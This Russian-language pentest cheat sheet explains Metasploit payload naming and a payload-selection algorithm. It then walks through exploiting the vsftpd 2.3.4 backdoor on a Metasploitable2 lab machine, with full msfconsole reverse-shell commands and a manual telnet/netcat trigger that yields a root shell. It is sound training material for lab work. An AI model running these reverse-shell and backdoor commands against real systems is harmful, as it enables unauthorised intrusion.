📌 Шпаргалка #17

Как выбирать Payload в Metasploit

✍️ pentestudy 📅 28.03.2026

📌 Что это / Зачем это нужно

После команды show payloads Metasploit может выдать от 1 до 400+ вариантов. Это пугает. Но на деле тебе нужно знать формулу выбора — и из сотен вариантов правильный находится за 10 секунд.

Эта шпаргалка объясняет: почему список такой длинный, как читать названия payload-ов, и как в любой ситуации быстро выбрать правильный.


⚡ Почему список такой огромный

Metasploit не знает что за машина на том конце. Он знает только тип эксплойта. Поэтому показывает ВСЁ что технически совместимо.

Эксплойты бывают двух типов:

Специфичные (бьют конкретную ОС + архитектуру) — например ms17_010_eternalblue работает только на Windows x64 через SMB. show payloads покажет 10-20 вариантов. Всё чётко.

Универсальные (выполняют команду через shell) — например vsftpd_234_backdoor просто выполняет команду на Unix. А команду можно выполнить через bash, python, perl, netcat, ruby, lua, php — на любой архитектуре. Поэтому show payloads выдаёт 400+ вариантов, включая payload-ы для ARM-роутеров и MIPS-устройств, которые тебе не нужны.

Metasploit не фильтрует по реальной архитектуре цели, потому что узнает её только ПОСЛЕ эксплуатации. Разбираться — твоя задача.


🔍 Как читать название payload-а

Каждый payload — это путь с чёткой структурой:

платформа / доставка / архитектура / тип_shell / протокол

Разбор на примерах

cmd/unix/interact

  • cmd — через командную строку
  • unix — платформа Unix/Linux
  • interact — просто подключиться к существующему shell

windows/x64/meterpreter/reverse_tcp

  • windows — платформа Windows
  • x64 — 64-битная архитектура
  • meterpreter — продвинутая оболочка
  • /reverse_tcp — staged, цель подключается к тебе по TCP

linux/x86/meterpreter_reverse_tcp

  • linux — платформа Linux
  • x86 — 32-битная архитектура
  • meterpreter_reverse_tcp — stageless (подчёркивание!), всё в одном файле

cmd/linux/http/x64/shell/reverse_tcp

  • cmd — через командную строку
  • linux — платформа
  • http — payload скачивается по HTTP
  • x64 — архитектура
  • shell/reverse_tcp — обычный shell, staged, reverse

📋 Расшифровка каждой части

Платформа (первая часть)

  • windows/ — Windows-машины
  • linux/ — Linux (бинарный payload)
  • cmd/unix/ — любой Unix/Linux через командную строку
  • cmd/linux/ — Linux через командную строку
  • cmd/windows/ — Windows через командную строку (PowerShell)
  • android/ — Android
  • osx/ — macOS
  • java/ — Java-приложения (Tomcat и т.д.)
  • php/ — PHP-приложения
  • python/ — Python-приложения
  • generic/ — универсальные, работают везде

Способ доставки (если есть)

  • без префикса — payload выполняется напрямую
  • http/ — скачивается по HTTP с твоего сервера
  • https/ — скачивается по HTTPS
  • tftp/ — скачивается по TFTP

Для лабы — без префикса или http/. TFTP — экзотика.

Архитектура

  • x86 — 32-бит (старые системы, Metasploitable2)
  • x64 — 64-бит (большинство современных машин)
  • aarch64 — ARM 64-бит (Raspberry Pi, серверы на ARM)
  • armle / armbe — ARM 32-бит (IoT, роутеры)
  • mipsbe / mipsle — MIPS (роутеры, встраиваемые системы)
  • ppc / ppc64 — PowerPC (старые Mac, серверы IBM)
  • riscv32le / riscv64le — RISC-V (новые IoT-устройства)

Для 95% задач тебе нужны только x86 и x64. Остальные — для специфичных целей.

Тип shell

  • meterpreter — продвинутая оболочка (скриншоты, камера, кейлоггер, миграция между процессами, шифрованный канал). Лучший выбор когда доступен
  • shell — обычный bash/cmd. Проще, легче, работает везде
  • interact — просто подключиться к уже открытому соединению
  • exec — выполнить одну команду и всё
  • adduser — добавить пользователя
  • chmod — сменить права файла
  • reboot — перезагрузить машину
  • read_file — прочитать файл

Протокол соединения

  • reverse_tcp — цель подключается к тебе по TCP. Лучший вариант, 90% случаев
  • bind_tcp — цель открывает порт, ты подключаешься. Если ты за NAT
  • reverse_http — reverse через HTTP (маскировка под веб-трафик)
  • reverse_https — reverse через HTTPS (шифрованная маскировка)
  • reverse_sctp — через SCTP (экзотика)
  • bind_ipv6_tcp — bind через IPv6

Для лабы — reverse_tcp. Для реального пентеста через файрволы — reverse_https.

Staged vs Stageless

  • Слэш / = staged (два этапа): meterpreter/reverse_tcp
  • Подчёркивание _ = stageless (всё в одном): meterpreter_reverse_tcp

Staged — меньше размер, подходит для переполнения буфера. Stageless — надёжнее, сразу шифрованный канал. В лабе — staged. В реальном пентесте — чаще stageless.


🎯 Алгоритм выбора (5 шагов)

Шаг 1: Определи ОС цели

Из результатов Nmap или из описания эксплойта:

  • Linux → payload начинается с linux/ или cmd/unix/
  • Windows → windows/
  • Неизвестно → generic/

Шаг 2: Определи архитектуру

  • Современная машина → x64
  • Старая машина (Metasploitable2, Windows XP) → x86
  • Роутер/IoT → смотри что за процессор

Если не знаешь — пробуй x64, не подошёл — x86.

Шаг 3: Выбери тип shell

  • Хочешь максимум возможностей → meterpreter
  • Meterpreter не поддерживается → shell
  • Бэкдор уже открыл shell → interact

Шаг 4: Выбери направление

  • Почти всегда → reverse_tcp
  • Ты за NAT и не можешь принять соединение → bind_tcp
  • Нужна маскировка → reverse_https

Шаг 5: Собери название

платформа / архитектура / тип / направление

Примеры:

  • windows/x64/meterpreter/reverse_tcp
  • linux/x86/shell/reverse_tcp
  • cmd/unix/reverse_netcat

🔧 Что делать когда payload не подходит

Metasploit скажет The value specified for payload is not valid если payload несовместим с эксплойтом.

Стратегия — спускайся по лестнице от сложного к простому:

# 1. Попробуй мощный вариант
set payload linux/x64/meterpreter/reverse_tcp
 
# Не подошёл? Попробуй 32-бит
set payload linux/x86/meterpreter/reverse_tcp
 
# Не подошёл? Попробуй обычный shell
set payload linux/x86/shell/reverse_tcp
 
# Не подошёл? Попробуй через cmd
set payload cmd/unix/reverse_netcat
 
# Не подошёл? Попробуй самый простой
set payload cmd/unix/interact
 
# Не подошёл? Универсальный
set payload generic/shell_reverse_tcp

Одно из этих точно сработает.


🧠 Быстрая шпаргалка: 6 payload-ов на все случаи

Запомни эти шесть — покроешь 95% ситуаций:

1. Бэкдор уже открыл shell (vsftpd и подобные)

set payload cmd/unix/interact

Никаких LHOST/LPORT не нужно. Просто подключаешься к тому что есть.

2. Linux цель, нужен обычный shell

set payload cmd/unix/reverse_netcat
set LHOST твой_IP

Работает почти везде где есть netcat.

3. Linux цель, нужен Meterpreter

set payload linux/x64/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444

Если цель 32-бит — замени x64 на x86.

4. Windows цель, нужен Meterpreter

set payload windows/x64/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444

Если цель 32-бит — windows/meterpreter/reverse_tcp (без x64).

5. Веб-сервер (Java/Tomcat)

set payload java/meterpreter/reverse_tcp
set LHOST твой_IP
set LPORT 4444

6. Ничего не подходит — универсальный

set payload generic/shell_reverse_tcp
set LHOST твой_IP
set LPORT 4444

Работает с большинством эксплойтов. Даёт обычный shell.


🔍 Как быстро отфильтровать список payload-ов

Когда show payloads выдаёт полотно, не листай его. Используй поиск:

# В msfconsole grep работает так:
grep meterpreter show payloads
 
# Только reverse_tcp
grep reverse_tcp show payloads
 
# Только x64 meterpreter reverse
grep x64/meterpreter/reverse_tcp show payloads
 
# Только cmd/unix (простые shell)
grep cmd/unix show payloads

Это сокращает список с 400+ до 5-10 вариантов.


⚡ Особые случаи

Эксплойт показывает только 1 payload

Значит эксплойт жёстко привязан к одному типу. Например vsftpd_234_backdoor в старых версиях Metasploit показывал только cmd/unix/interact. Выбора нет — используй что дают.

Эксплойт показывает 10-20 payload-ов

Нормальная ситуация для специфичных эксплойтов (EternalBlue, MS08-067). Выбираешь по алгоритму: meterpreter > shell, reverse_tcp > bind_tcp.

Эксплойт показывает 400+ payload-ов

Это универсальный cmd-эксплойт. 95% списка — мусор для твоей конкретной цели. Используй grep или ставь payload вручную по формуле.

Metasploit автоматически выбрал не тот payload

При use exploit/... Metasploit сам ставит дефолтный payload. В новых версиях дефолт может быть сложным (cmd/linux/http/x86/meterpreter_reverse_tcp). Всегда проверяй через show options и меняй если нужно:

# Посмотри что стоит
show options
 
# Если стоит что-то сложное — замени на простое
set payload cmd/unix/interact

🧠 Пример из реального опыта: vsftpd на Metasploitable2

Реальная ситуация: эксплойт vsftpd_234_backdoor, цель — Metasploitable2 (Linux x86). После show payloads выпало 419 payload-ов. Вот как нужно было действовать:

Шаг 1: Смотрим info эксплойта

info

Видим: Platform: Unix, Arch: cmd. Значит payload должен начинаться с cmd/unix/. Сразу откидываем всё с windows/, aarch64, arm, mips, ppc, riscv — это не наша архитектура.

Шаг 2: Фильтруем список

grep cmd/unix show payloads

Из 419 осталось ~80. Уже можно работать.

Шаг 3: Понимаем что делает эксплойт

Читаем описание в info: это бэкдор, который сам открывает shell на порту 6200. Нам не нужно ничего доставлять — дверь уже открыта. Ищем interact:

grep interact show payloads

Нашли cmd/unix/interact — идеальный вариант. Просто подключается к существующему shell. Никаких LHOST/LPORT не нужно.

set payload cmd/unix/interact
run

Шаг 4: interact не сработал (баг в новой версии Metasploit)

Metasploit выдал The value specified for payload is not valid. В новых версиях cmd/unix/interact иногда не привязывается к этому эксплойту. Не паникуем — спускаемся на ступень ниже.

set payload cmd/unix/reverse_netcat
set LHOST ***.***.*.*
set LPORT 4444
run

Что пошло не так по дороге (и чему это научило)

Ошибка 1: Не тот payload по умолчанию. При use exploit/... Metasploit сам поставил cmd/linux/http/x86/meterpreter_reverse_tcp — сложный payload с кучей лишних параметров (FETCH_COMMAND, FETCH_SRVHOST). В обучающем видео на старой версии дефолтом был cmd/unix/interact. Урок: всегда проверяй show options и меняй дефолтный payload если он выглядит сложно.

Ошибка 2: Выбрали generic/ssh/interact вместо cmd/unix/interact. Бэкдор открылся (Backdoor has been spawned!), но payload для SSH не смог подключиться к FTP-бэкдору — NoMethodError undefined method 'transport'. Урок: interact для SSH и interact для Unix — разные вещи. Смотри на полное имя.

Ошибка 3: Перепутали LHOST и RHOSTS. Поставили IP цели (...) в LHOST. Handler не смог забиндиться — Handler failed to bind. Урок: LHOST = ты (Local), RHOSTS = цель (Remote). Всегда.

Ошибка 4: Бэкдор «протух». После нескольких неудачных попыток порт 6200 завис в полуоткрытом состоянии — Backdoor already in-use. Пришлось ждать пока таймаут сбросит соединение. Урок: неудачные попытки эксплуатации могут заблокировать уязвимость. В реальном пентесте у тебя может быть один шанс.

Итоговый рабочий вариант

use exploit/unix/ftp/vsftpd_234_backdoor
set payload cmd/unix/reverse_netcat
set RHOSTS ***.***.*.*
set LHOST ***.***.*.*
set LPORT 4444
exploit

Результат: Command shell session openedwhoamiroot. Полный доступ к Metasploitable2.

Альтернатива без Metasploit (ещё проще)

Весь этот эксплойт можно было выполнить вручную двумя командами:

# Терминал 1: активируем бэкдор
telnet ***.***.*.* 21
USER anything:)
PASS whatever
 
# Терминал 2: подключаемся к открытому порту
nc ***.***.*.* 6200
whoami

Metasploit просто автоматизирует этот процесс. Под капотом — те же две команды.

Быстрый алгоритм на 30 секунд (запомни)

1. info → узнал платформу и архитектуру
2. grep cmd/unix show payloads → отфильтровал по платформе
3. grep interact show payloads → если бэкдор сам открывает shell
4. set payload cmd/unix/reverse_netcat → если interact не работает
5. set payload cmd/unix/reverse_bash → запасной вариант
6. set payload generic/shell_reverse_tcp → крайний случай

Не 419 штук перебирать, а 3-4 попытки максимум.


⚠️ Важные моменты

  • Не запоминай все payload-ы. Запомни формулу: платформа + архитектура + тип + направление. Этого достаточно чтобы собрать название любого payload-а
  • Всегда проверяй show options после выбора payload-а. Разные payload-ы требуют разные параметры. interact — ничего. reverse_tcp — LHOST и LPORT. http/ — ещё и FETCH_SRVHOST
  • cmd/unix/interact не требует LHOST/LPORT. Он просто подключается к существующему соединению. Если эксплойт открывает бэкдор сам — это твой выбор
  • reverse_tcp payload-ы ВСЕГДА требуют LHOST. Это твой IP в сети с целью. Проверяй через ip a или ifconfig. Неправильный LHOST = сессия не придёт
  • Архитектура должна совпадать. x64 payload на x86 машине = сессия откроется и сразу умрёт. Или не откроется вообще
  • Не все payload-ы из списка реально работают на твоей цели. Metasploit показывает всё что совместимо с эксплойтом, а не с целевой машиной. ARM payload на x86 сервере — бесполезен, хотя в списке есть
  • Для обучения хватит 3-4 payload-ов. Не пытайся освоить все 1,700. Выучи interact, reverse_netcat, meterpreter/reverse_tcp для Linux и Windows — и двигайся дальше
  • grep в msfconsole. Синтаксис: grep слово show payloads (без пайпа |). Это твоё спасение от полотна из 400 строк
Содержание
📌 Что это / Зачем это нужно ⚡ Почему список такой огромный 🔍 Как читать название payload-а Разбор на примерах 📋 Расшифровка каждой части Платформа (первая часть) Способ доставки (если есть) Архитектура Тип shell Протокол соединения Staged vs Stageless 🎯 Алгоритм выбора (5 шагов) Шаг 1: Определи ОС цели Шаг 2: Определи архитектуру Шаг 3: Выбери тип shell Шаг 4: Выбери направление Шаг 5: Собери название 🔧 Что делать когда payload не подходит 🧠 Быстрая шпаргалка: 6 payload-ов на все случаи 1. Бэкдор уже открыл shell (vsftpd и подобные) 2. Linux цель, нужен обычный shell 3. Linux цель, нужен Meterpreter 4. Windows цель, нужен Meterpreter 5. Веб-сервер (Java/Tomcat) 6. Ничего не подходит — универсальный 🔍 Как быстро отфильтровать список payload-ов ⚡ Особые случаи Эксплойт показывает только 1 payload Эксплойт показывает 10-20 payload-ов Эксплойт показывает 400+ payload-ов Metasploit автоматически выбрал не тот payload 🧠 Пример из реального опыта: vsftpd на Metasploitable2 Шаг 1: Смотрим info эксплойта Шаг 2: Фильтруем список Шаг 3: Понимаем что делает эксплойт Шаг 4: interact не сработал (баг в новой версии Metasploit) Что пошло не так по дороге (и чему это научило) Итоговый рабочий вариант Альтернатива без Metasploit (ещё проще) Быстрый алгоритм на 30 секунд (запомни) ⚠️ Важные моменты